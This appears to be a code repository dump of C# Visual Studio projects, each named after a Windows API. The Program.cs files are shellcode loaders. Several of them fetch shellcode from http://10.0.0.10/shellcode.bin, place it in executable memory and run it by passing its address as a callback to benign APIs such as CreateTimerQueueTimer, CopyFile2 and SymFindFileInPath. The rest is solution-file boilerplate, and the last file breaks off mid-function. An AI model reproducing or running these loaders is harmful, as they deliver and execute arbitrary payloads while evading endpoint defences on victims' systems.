31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumSystemCodePagesW/EnumSystemCodePagesW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemCodePagesW", "EnumSystemCodePagesW\EnumSystemCodePagesW.csproj", "{E6BD3729-8AD7-4ECF-95DC-42C920D64D88}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|x64.ActiveCfg = Debug|x64
19 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|x64.Build.0 = Debug|x64
20 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|x64.ActiveCfg = Release|x64
23 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F8F3EDAC-2B6F-4A1E-BD37-5DEC2BDE2993}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CreateTimerQueueTimer/CreateTimerQueueTimer.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateTimerQueueTimer", "CreateTimerQueueTimer\CreateTimerQueueTimer.csproj", "{DD32306C-9D06-4A22-97B1-A570454DF14D}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|x64.ActiveCfg = Debug|x64
19 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|x64.Build.0 = Debug|x64
20 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|x64.ActiveCfg = Release|x64
23 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B5F63F61-A8B6-48B7-BE18-206D13E45E1A}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SetupCommitFileQueueW/SetupCommitFileQueueW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SetupCommitFileQueueW", "SetupCommitFileQueueW\SetupCommitFileQueueW.csproj", "{413DCBFF-2152-4A34-8727-C39C29CF32EC}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|x64.ActiveCfg = Debug|x64
19 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|x64.Build.0 = Debug|x64
20 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|x64.ActiveCfg = Release|x64
23 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {D958DC89-7079-45FF-B686-8AED1C75A635}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumerateLoadedModules/EnumerateLoadedModules.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumerateLoadedModules", "EnumerateLoadedModules\EnumerateLoadedModules.csproj", "{DE604334-DAB8-4E0E-B90A-2A236E7AA019}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|x64.ActiveCfg = Debug|x64
19 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|x64.Build.0 = Debug|x64
20 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|x64.ActiveCfg = Release|x64
23 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {6D1AE2A0-AF3D-4C96-A994-DF91C56DC179}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CertSystemStoreLocation/CertSystemStoreLocation.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CertSystemStoreLocation", "CertSystemStoreLocation\CertSystemStoreLocation.csproj", "{BFA8678C-CB87-4E35-897C-940F3C5CF0D7}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|x64.ActiveCfg = Debug|x64
19 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|x64.Build.0 = Debug|x64
20 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|x64.ActiveCfg = Release|x64
23 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {6B55CED6-10A5-42DE-B93D-184491FFAA0E}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumLanguageGroupLocalesW", "EnumLanguageGroupLocalesW\EnumLanguageGroupLocalesW.csproj", "{E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|x64.ActiveCfg = Debug|x64
19 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|x64.Build.0 = Debug|x64
20 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|x64.ActiveCfg = Release|x64
23 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {7420926B-6E5F-483A-8104-3424A13072DE}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemLanguageGroupsW", "EnumSystemLanguageGroupsW\EnumSystemLanguageGroupsW.csproj", "{98C2DC0B-6431-492B-A4BD-2D26A1D1C643}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|x64.ActiveCfg = Debug|x64
19 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|x64.Build.0 = Debug|x64
20 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|x64.ActiveCfg = Release|x64
23 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {394B9746-8154-4944-9B00-76AEF246A3E5}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/VerifierEnumerateResource/VerifierEnumerateResource.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VerifierEnumerateResource", "VerifierEnumerateResource\VerifierEnumerateResource.csproj", "{E1C68055-0A20-41BC-868F-99298B291C3A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|x64.ActiveCfg = Debug|x64
19 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|x64.Build.0 = Debug|x64
20 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|x64.ActiveCfg = Release|x64
23 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8CA71C27-B0A0-4F29-8B08-3127FEF73C05}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SetupCommitFileQueueW/SetupCommitFileQueueW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SetupCommitFileQueueW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hQueue = SetupOpenFileQueue();
22 |
23 | SetupQueueCopyW(hQueue, "C:\\", "\\Windows\\System32\\", "kernel32.dll", null, null, "C:\\Windows\\Temp\\", "kernel32.dll", 0x400);
24 |
25 | SetupCommitFileQueueW(IntPtr.Zero, hQueue, addr, IntPtr.Zero);
26 | }
27 |
28 | [DllImport("kernel32.dll", SetLastError = true)]
29 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
30 |
31 | [DllImport("setupapi.dll")]
32 | static extern IntPtr SetupOpenFileQueue();
33 |
34 | [DllImport("setupapi.dll")]
35 | static extern bool SetupQueueCopyW(
36 | IntPtr QueueHandle,
37 | String SourceRootPath,
38 | String SourcePath,
39 | String SourceFilename,
40 | String SourceDescription,
41 | String SourceTagfile,
42 | String TargetDirectory,
43 | String TargetFileName,
44 | int CopyStyle);
45 |
46 | [DllImport("setupapi.dll")]
47 | static extern bool SetupCommitFileQueueW(IntPtr Owner, IntPtr QueueHandle, IntPtr MsgHandler, IntPtr Context);
48 |
49 | }
50 | }
51 |
52 |
--------------------------------------------------------------------------------
/EnumFontFamiliesW/EnumFontFamiliesW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumFontFamiliesW", "EnumFontFamiliesW\EnumFontFamiliesW.csproj", "{2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x64.ActiveCfg = Debug|x64
21 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x64.Build.0 = Debug|x64
22 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x86.ActiveCfg = Debug|x86
23 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x86.Build.0 = Debug|x86
24 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x64.ActiveCfg = Release|x64
27 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x64.Build.0 = Release|x64
28 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x86.ActiveCfg = Release|x86
29 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x86.Build.0 = Release|x86
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {0672E39A-BB02-4617-BFA3-5251FFCCFF36}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/SymFindFileInPath/SymFindFileInPath/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Net;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace SymFindFileInPath
10 | {
11 | internal class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | string url = "http://10.0.0.10/shellcode.bin";
16 | System.Net.WebClient client = new System.Net.WebClient();
17 | byte[] shellcode = client.DownloadData(url);
18 |
19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
21 |
22 | IntPtr hProcess = GetCurrentProcess();
23 |
24 | SymInitialize(hProcess, null, false);
25 |
26 | IntPtr Info = IntPtr.Zero;
27 | SymSrvGetFileIndexInfo("C:\\Windows\\System32\\kernel32.dll", ref Info, 0);
28 |
29 | String FoundFile = null;
30 | SymFindFileInPath(hProcess, "C:\\Windows\\System32", "kernel32.dll", IntPtr.Zero, 0, 0, 0, ref FoundFile, addr, IntPtr.Zero);
31 | }
32 |
33 | [DllImport("kernel32.dll", SetLastError = true)]
34 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
35 |
36 | [DllImport("kernel32.dll")]
37 | static extern IntPtr GetCurrentProcess();
38 |
39 | [DllImport("dbghelp.dll")]
40 | static extern bool SymInitialize(IntPtr hProcess, String UserSearchPath, bool fInvadeProcess);
41 |
42 | [DllImport("dbghelp.dll")]
43 | static extern bool SymSrvGetFileIndexInfo(String File, ref IntPtr Info, uint Flags);
44 |
45 | [DllImport("dbghelp.dll")]
46 | static extern bool SymFindFileInPath(IntPtr hProcess, String SearchPath, String FileName, IntPtr id, uint two, uint three, uint flags, ref String FoundFile, IntPtr callback, IntPtr context);
47 |
48 |
49 | }
50 | }
51 |
52 |
--------------------------------------------------------------------------------
/CreateTimerQueueTimer/CreateTimerQueueTimer/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading;
7 | using System.Threading.Tasks;
8 |
9 | namespace CreateTimerQueueTimer
10 | {
11 | class Program
12 | {
13 | static void Main()
14 | {
15 | string url = "http://10.0.0.10/shellcode.bin";
16 | System.Net.WebClient client = new System.Net.WebClient();
17 | byte[] shellcode = client.DownloadData(url);
18 |
19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000, 0x40);
20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
21 |
22 | IntPtr timer;
23 | IntPtr queue = CreateTimerQueue();
24 | IntPtr gDoneEvent = CreateEvent(IntPtr.Zero, true, false, null);
25 |
26 | if (!CreateTimerQueueTimer(out timer, queue, addr, IntPtr.Zero, 100, 0, 0))
27 | {
28 | Console.WriteLine("CreateTimerQueueTimer failed with error {0}", GetLastError());
29 | }
30 | else
31 | {
32 | WaitForSingleObject(gDoneEvent, 0xFFFFFFFF);
33 | }
34 |
35 | CloseHandle(gDoneEvent);
36 | DeleteTimerQueueEx(queue, IntPtr.Zero);
37 | }
38 |
39 | [DllImport("kernel32.dll", SetLastError = true)]
40 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
41 |
42 | [DllImport("kernel32.dll", SetLastError = true)]
43 | static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
44 |
45 | [DllImport("kernel32.dll", SetLastError = true)]
46 | static extern IntPtr CreateTimerQueue();
47 |
48 | [DllImport("kernel32.dll", SetLastError = true)]
49 | static extern bool CreateTimerQueueTimer(out IntPtr phNewTimer, IntPtr TimerQueue, IntPtr Callback, IntPtr Parameter, uint DueTime, uint Period, uint Flags);
50 |
51 | [DllImport("kernel32.dll", SetLastError = true)]
52 | static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
53 |
54 | [DllImport("kernel32.dll", SetLastError = true)]
55 | static extern uint GetLastError();
56 |
57 | [DllImport("kernel32.dll", SetLastError = true)]
58 | static extern bool CloseHandle(IntPtr hObject);
59 |
60 | [DllImport("kernel32.dll", SetLastError = true)]
61 | static extern bool DeleteTimerQueueEx(IntPtr TimerQueue, IntPtr CompletionEvent);
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/CopyFile2/CopyFile2/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace CopyFile2
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | COPYFILE2_EXTENDED_PARAMETERS parameters = new COPYFILE2_EXTENDED_PARAMETERS
22 | {
23 | dwSize = (uint)Marshal.SizeOf(typeof(COPYFILE2_EXTENDED_PARAMETERS)),
24 | dwCopyFlags = COPY_FILE_EXTENDED_PARAMETERS_FLAGS.COPY_FILE_FAIL_IF_EXISTS,
25 | pfCancel = false,
26 | pProgressRoutine = addr,
27 | pvCallbackContext = IntPtr.Zero
28 | };
29 |
30 | DeleteFile("C:\\Windows\\Temp\\backup.log");
31 |
32 | bool result = CopyFile2("C:\\Windows\\DirectX.log", "C:\\Windows\\Temp\\backup.log", ref parameters);
33 | if (!result)
34 | {
35 | throw new Exception("CopyFile2 failed");
36 | }
37 |
38 | }
39 |
40 | [DllImport("kernel32.dll", SetLastError = true)]
41 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);
42 |
43 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
44 | static extern bool CopyFile2(string pwszExistingFileName, string pwszNewFileName, ref COPYFILE2_EXTENDED_PARAMETERS pExtendedParameters);
45 |
46 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
47 | static extern bool DeleteFile(string lpFileName);
48 |
49 | [StructLayout(LayoutKind.Sequential)]
50 | struct COPYFILE2_EXTENDED_PARAMETERS
51 | {
52 | public uint dwSize;
53 | public COPY_FILE_EXTENDED_PARAMETERS_FLAGS dwCopyFlags;
54 | public bool pfCancel;
55 | public IntPtr pProgressRoutine;
56 | public IntPtr pvCallbackContext;
57 | }
58 |
59 | [Flags]
60 | enum COPY_FILE_EXTENDED_PARAMETERS_FLAGS : uint
61 | {
62 | COPY_FILE_FAIL_IF_EXISTS = 0x1,
63 | COPY_FILE_RESTARTABLE = 0x2,
64 | COPY_FILE_OPEN_SOURCE_FOR_WRITE = 0x4,
65 | COPY_FILE_ALLOW_DECRYPTED_DESTINATION = 0x8,
66 | COPY_FILE_COPY_SYMLINK = 0x800,
67 | COPY_FILE_NO_BUFFERING = 0x1000
68 | }
69 |
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/CreateThreadPoolWait/CreateThreadPoolWait/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading;
7 | using System.Threading.Tasks;
8 |
9 | namespace CreateThreadPoolWait
10 | {
11 | class Program
12 | {
13 | const int LEN = 277;
14 |
15 |
16 |
17 | static void Main()
18 | {
19 | string url = "http://10.0.0.10/shellcode.bin";
20 | System.Net.WebClient client = new System.Net.WebClient();
21 | byte[] shellcode = client.DownloadData(url);
22 |
23 | IntPtr hEvent = CreateEvent(IntPtr.Zero, false, false, null);
24 | if (hEvent == IntPtr.Zero)
25 | {
26 | throw new Exception("Failed to create event. Error: " + Marshal.GetLastWin32Error());
27 | }
28 |
29 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000, 0x40);
30 | if (addr == IntPtr.Zero)
31 | {
32 | throw new Exception("Failed to allocate memory. Error: " + Marshal.GetLastWin32Error());
33 | }
34 |
35 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
36 |
37 | IntPtr ptp_w = CreateThreadpoolWait(addr, IntPtr.Zero, IntPtr.Zero);
38 | if (ptp_w == IntPtr.Zero)
39 | {
